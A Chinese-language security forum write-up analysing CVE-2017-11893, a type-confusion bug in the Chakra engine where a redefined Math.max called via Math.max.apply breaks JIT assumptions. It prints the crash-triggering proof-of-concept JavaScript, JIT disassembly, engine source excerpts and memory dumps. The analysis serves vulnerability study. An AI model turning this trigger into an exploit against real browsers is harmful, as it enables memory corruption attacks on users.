-
-
[原创]CVE-2017-11893 Math.Max.apply方法破坏执行流程导致类型混淆
-
2018-1-24 12:04 3695
-
source:https://bugs.chromium.org/p/project-zero/issues/detail?id=1379
poc如下所示
function opt(arr, arr2) { arr[0] = 1.1; Math.max.apply(Math, arr2); arr[0] = 2.3023e-320; } function main() { let arr = [1.1, 2.2, 3.3, 4.4]; for (let i = 0; i < 10000; i++) { opt(arr, [1, 2, 3, 4]); } Math.max = function () { arr[0] = {}; }; opt(arr, {}); // can't handle, calls Math.max print(arr[0]); } main();
执行poc出现如下crash信息
inline TypeId RecyclableObject::GetTypeId() const { return this->GetType()->GetTypeId(); } this 0x0000000000001234 {type=??? } Js::RecyclableObject *
在这里this指针为0x1234是浮点数2.3023e-320的16进制表示因此我们猜测此处发生了类型混淆
根据poc可知程序在多次循环执行之后进行JIT,JIT之后生成如下所示的代码,sub_1ebdd8d092f
sub_1ebdd8d092f 000001EBDD8D0890 mov rax,1E3DD5A09E0h 000001EBDD8D089A cmp rsp,qword ptr [rax] 000001EBDD8D089D jle 000001EBDD8D09B8 //i++ 000001EBDD8D08A3 inc r14d //i < 10000 000001EBDD8D08A6 cmp r15d,2710h <===循环判断条件 000001EBDD8D08AD jge 000001EBDD8D0937 000001EBDD8D08B3 mov rax,qword ptr [rbx-4634h] 000001EBDD8D08BA mov r13,qword ptr [rax+10h] 000001EBDD8D08BE mov r9,1E3DD558900h 000001EBDD8D08C8 mov r8,1EBDD7101EAh 000001EBDD8D08D2 mov rdx,1EBDD5DF4F0h 000001EBDD8D08DC mov rcx,1E3DD5801A8h 000001EBDD8D08E6 mov rax,7FF8966BF090h 000001EBDD8D08F0 call rax 000001EBDD8D08F3 mov rcx,r13 000001EBDD8D08F6 shr rcx,30h 000001EBDD8D08FA jne 000001EBDD8D09C7 000001EBDD8D0900 mov rcx,qword ptr [r13+8] 000001EBDD8D0904 mov rcx,qword ptr [rcx+18h] 000001EBDD8D0908 mov qword ptr [rbp-8],rcx 000001EBDD8D090C mov rcx,r13 000001EBDD8D090F mov qword ptr [rsp+20h],rax 000001EBDD8D0914 mov r9,rdi 000001EBDD8D0917 mov r8,1EBDD6C4030h 000001EBDD8D0921 mov rdx,10000003h 000001EBDD8D0928 mov r13,qword ptr [rbp-8] //opt(arr, [1, 2, 3, 4]); 000001EBDD8D092C call r13 <=== opt 000001EBDD8D092F inc r15d 000001EBDD8D0932 jmp 000001EBDD8D0890
sub_1ebdd8d092f对应于poc中的
for (let i = 0; i < 10000; i++) { opt(arr, [1, 2, 3, 4]); }
JIT生成的另一个函数是sub_1ebdd8d017d
sub_1ebdd8d017d // arr[0] = 1.1; 000001EBDD8D00E9 movsd xmm0,mmword ptr [rsi+1ECh] 000001EBDD8D00F2 movsd mmword ptr [r14+18h],xmm0 000001EBDD8D00F8 mov rax,qword ptr [rsi+0AE08Ch] 000001EBDD8D00FF lea rcx,[rsi+0C5EB4h] 000001EBDD8D0106 cmp rax,rcx 000001EBDD8D0109 jne 000001EBDD8D0276 000001EBDD8D010F mov r15,qword ptr [rdi+128h] 000001EBDD8D0116 mov rax,r15 000001EBDD8D0119 shr rax,30h 000001EBDD8D011D jne 000001EBDD8D0325 000001EBDD8D0123 mov rax,qword ptr [r15+8] 000001EBDD8D0127 cmp rax,qword ptr [rsi+56Ch] 000001EBDD8D012E jne 000001EBDD8D02FE 000001EBDD8D0134 mov rcx,qword ptr [r15+10h] 000001EBDD8D0138 mov rdi,qword ptr [rcx+90h] 000001EBDD8D013F mov rax,rdi 000001EBDD8D0142 shr rax,30h 000001EBDD8D0146 jne 000001EBDD8D03AF 000001EBDD8D014C mov rax,qword ptr [rdi+8] 000001EBDD8D0150 cmp rax,qword ptr [rsi+14ACh] 000001EBDD8D0157 jne 000001EBDD8D038D 000001EBDD8D015D mov byte ptr [rbx],1 000001EBDD8D0160 mov r9,r12 000001EBDD8D0163 mov r8,r15 000001EBDD8D0166 mov rdx,10000002h 000001EBDD8D016D mov rcx,rdi 000001EBDD8D0170 mov rax,7FF896600460h //Math.max.apply(Math, arr2); 000001EBDD8D017A call rax 000001EBDD8D017D cmp byte ptr [rbx],1 000001EBDD8D0180 jne 000001EBDD8D03CB //arr[0] = 2.3023e-320; 000001EBDD8D0186 movsd xmm0,mmword ptr [rsi+36Ch] 000001EBDD8D018F movsd mmword ptr [r14+18h],xmm0
JIT生成的sub_1ebdd8d017d对应POC中的
function opt(arr, arr2) { arr[0] = 1.1; Math.max.apply(Math, arr2); arr[0] = 2.3023e-320; }
在JIT的环境下程序执行的流程如下
->sub_1ebdd8d092f ->sub_1ebdd8d017d ->JavascriptMath::MaxInAnArray
JavascriptMath::MaxInAnArray
对应于Math.max.apply
,注意只有在JIT环境下才会调用这个函数。
Math.Max.apply
语法 Math.max([value1[,value2, ...]]) 参数 value1, value2, ... 返回值 返回给定的一组数字中的最大值。如果给定的参数中至少有一个参数无法被转换成数字,则会返回 NaN。
apply是javascript中一种调用函数的方法类似于同样效果的call方法,根据MDN的描述
语法
fun.apply(thisArg, [argsArray])
参数
thisArg
在 fun 函数运行时指定的 this 值。需要注意的是,指定的 this 值并不一定是该函数执行时真正的 this 值,如果这个函数处于非严格模式下,则指定为 null 或 undefined
时会自动指向全局对象(浏览器中就是window对象),同时值为原始值(数字,字符串,布尔值)的 this 会指向该原始值的自动包装对象。argsArray
一个数组或者类数组对象,其中的数组元素将作为单独的参数传给 fun 函数。如果该参数的值为null 或 undefined,则表示不需要传入任何参数。从ECMAScript 5 开始可以使用类数组对象。浏览器兼容性请参阅本文底部内容。
call()方法的作用和 apply() 方法类似,只有一个区别,就是 call()方法接受的是若干个参数的列表,而apply()方法接受的是一个包含多个参数的数组。对于Math.Max方法来说,Math.Max接受的是参数的列表比如
Math.max(1,2,3);
而使用apply方法则需要传入数组,如
Math.max.apply(Math,[1,2,3])
</br>
在chakra中总共有两类数据类型可以被用于调用Math.Max.apply方法,分别是JavascriptNativeArray
和JavascriptTypedArray
,其中JavascriptNativeArray
包含JavascriptNativeIntArray
和JavascriptNativeFloatArray
,而JavascriptTypedArray
包含Uint8Array
、Int16Array
、Uint32Array
、Float32Array
等
</br>
</br>
JavascriptNativeArray::FindMinOrMax TypedArrayBase::FindMinOrMax
这些调用由函数JavascriptMath::MaxInAnArray
负责分发
Var JavascriptMath::MaxInAnArray(RecyclableObject * function, CallInfo callInfo, ...) { if (!JavascriptNativeArray::Is(typeId) && !(TypedArrayBase::Is(typeId) && typeId != TypeIds_CharArray && typeId != TypeIds_BoolArray)) { ... JavascriptFunction::CalloutHelper } if (JavascriptNativeArray::Is(typeId)) { ... JavascriptNativeArray::FindMinOrMax } else { ... TypedArrayBase::FindMinOrMax } }
但是如果传入的参数不属于JavascriptNativeArray
和TypedArray
那么会调用JavascriptFunction::CalloutHelper
调用外部函数
amd64_CallFunction() Js::JavascriptFunction::CallFunction Js::JavascriptFunction::CalloutHelper Js::JavascriptMath::MaxInAnArray
对于POC来说则是会执行
Math.max = function () { arr[0] = {}; };
这一函数被调用之后会使得原来的数组类型由JavascriptNativeArray变为JavascriptArray,之后的访问就会造成类型混淆,接下来细节分析一下这个过程。
进一步分析
在poc的如下代码片段中,代码被重复执行触发JIT生成
function opt(arr, arr2) { arr[0] = 1.1; Math.max.apply(Math, arr2); arr[0] = 2.3023e-320; } for (let i = 0; i < 1000; i++) { opt(arr, [1, 2, 3, 4]); }
会导致最终调用到Math.max.apply
对应的JavascriptMath::MaxInAnArray
调用流程如下
JavascriptMath::MaxInAnArray 0000025b03de017e() 0000025b03de0936()
当传入{}
调用opt函数时会因为参数不符合Math.Max.apply的处理要求而进行bailout
opt(arr, {});
if (!JavascriptNativeArray::Is(typeId) && !(TypedArrayBase::Is(typeId) && typeId != TypeIds_CharArray && typeId != TypeIds_BoolArray)) { return JavascriptFunction::CalloutHelper<false>( function, thisArg, nullptr, arrayArg, scriptContext); }
首先来看一下进行bailout之前数组arr的情况
arr 0x0000020840E58100 00007ff89335f150 P?5??... //JavascriptNativeFloatArray::vtable 0x0000020840E58108 0000020840e09140 @??@.... 0x0000020840E58110 0000000000000000 ........ 0x0000020840E58118 0000000000000005 ........ 0x0000020840E58120 0000000000000004 ........ 0x0000020840E58128 0000020840e58140 @??@.... 0x0000020840E58130 0000020840e58140 @??@....
对应的segment对象在执行arr[0] = 1.1;
之后
0x0000020840E58140 0000000400000000 ........ 0x0000020840E58148 0000000000000005 ........ 0x0000020840E58150 0000000000000000 ........ 0x0000020840E58158 3ff199999999999a ???????? 0x0000020840E58160 400199999999999a ??????.@ 0x0000020840E58168 400a666666666666 ffffff.@ 0x0000020840E58170 401199999999999a ??????.@ 0x0000020840E58178 8000000280000002 ...€...€
当未进行bailout并且执行arr[0] = 2.3023e-320;
之后segment对象情况如下
0x0000020840E58140 0000000400000000 ........ 0x0000020840E58148 0000000000000005 ........ 0x0000020840E58150 0000000000000000 ........ 0x0000020840E58158 0000000000001234 4....... //2.3023e-320 0x0000020840E58160 400199999999999a ??????.@ 0x0000020840E58168 400a666666666666 ffffff.@ 0x0000020840E58170 401199999999999a ??????.@ 0x0000020840E58178 8000000280000002 ...€...€
当进行bailout之后,调用JavascriptFunction::CallFunction
,执行poc中的arr[0] = {};
,之后arr的类型会由NativeArray转变为Array,如下
0x0000020840E58100 00007ff89335e1d8 ??5??... //JavascriptArray::vtable 0x0000020840E58108 0000020840e08fc0 ???@.... 0x0000020840E58110 0000000000000000 ........ 0x0000020840E58118 0000000000000005 ........ 0x0000020840E58120 0000000000000004 ........ 0x0000020840E58128 0000020840e58140 @??@.... 0x0000020840E58130 0000020840e58140 @??@....
其对应的segment对象也相应发生改变(但地址未变)
0x0000020840E58140 0000000400000000 ........ 0x0000020840E58148 0000000000000005 ........ 0x0000020840E58150 0000000000000000 ........ 0x0000020840E58158 0000020841100020 ..A.... 0x0000020840E58160 bffd99999999999a ???????? 0x0000020840E58168 bff6666666666666 ffffff?? 0x0000020840E58170 bfed99999999999a ???????? 0x0000020840E58178 8000000280000002 ...€...€
注意其中地址为0x0000020840E58158的第一个元素的值变成一个对象的指针
0x0000020841100020 00007ff89335af00 .?5??... //DynamicObject::vtable 0x0000020841100028 0000020840e0a180 €??@.... 0x0000020841100030 0000000000000000 ........ 0x0000020841100038 0000000000000000 ........
之后由于JIT中的代码会对segment中的第一个元素赋值导致发生了类型混淆
0000020841011198 movsd xmm0,mmword ptr [rsi-0CD4h] 00000208410111A1 movsd mmword ptr [r14+18h],xmm0
JIT对segment元素赋值后
0x0000020840E58140 0000000400000000 ........ 0x0000020840E58148 0000000000000005 ........ 0x0000020840E58150 0000000000000000 ........ 0x0000020840E58158 0000000000001234 4....... 0x0000020840E58160 bffd99999999999a ???????? 0x0000020840E58168 bff6666666666666 ffffff?? 0x0000020840E58170 bfed99999999999a ???????? 0x0000020840E58178 8000000280000002 ...€...€
注意此时此segment属于JavascriptArray对象,因此0x1234会作为指针解释。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课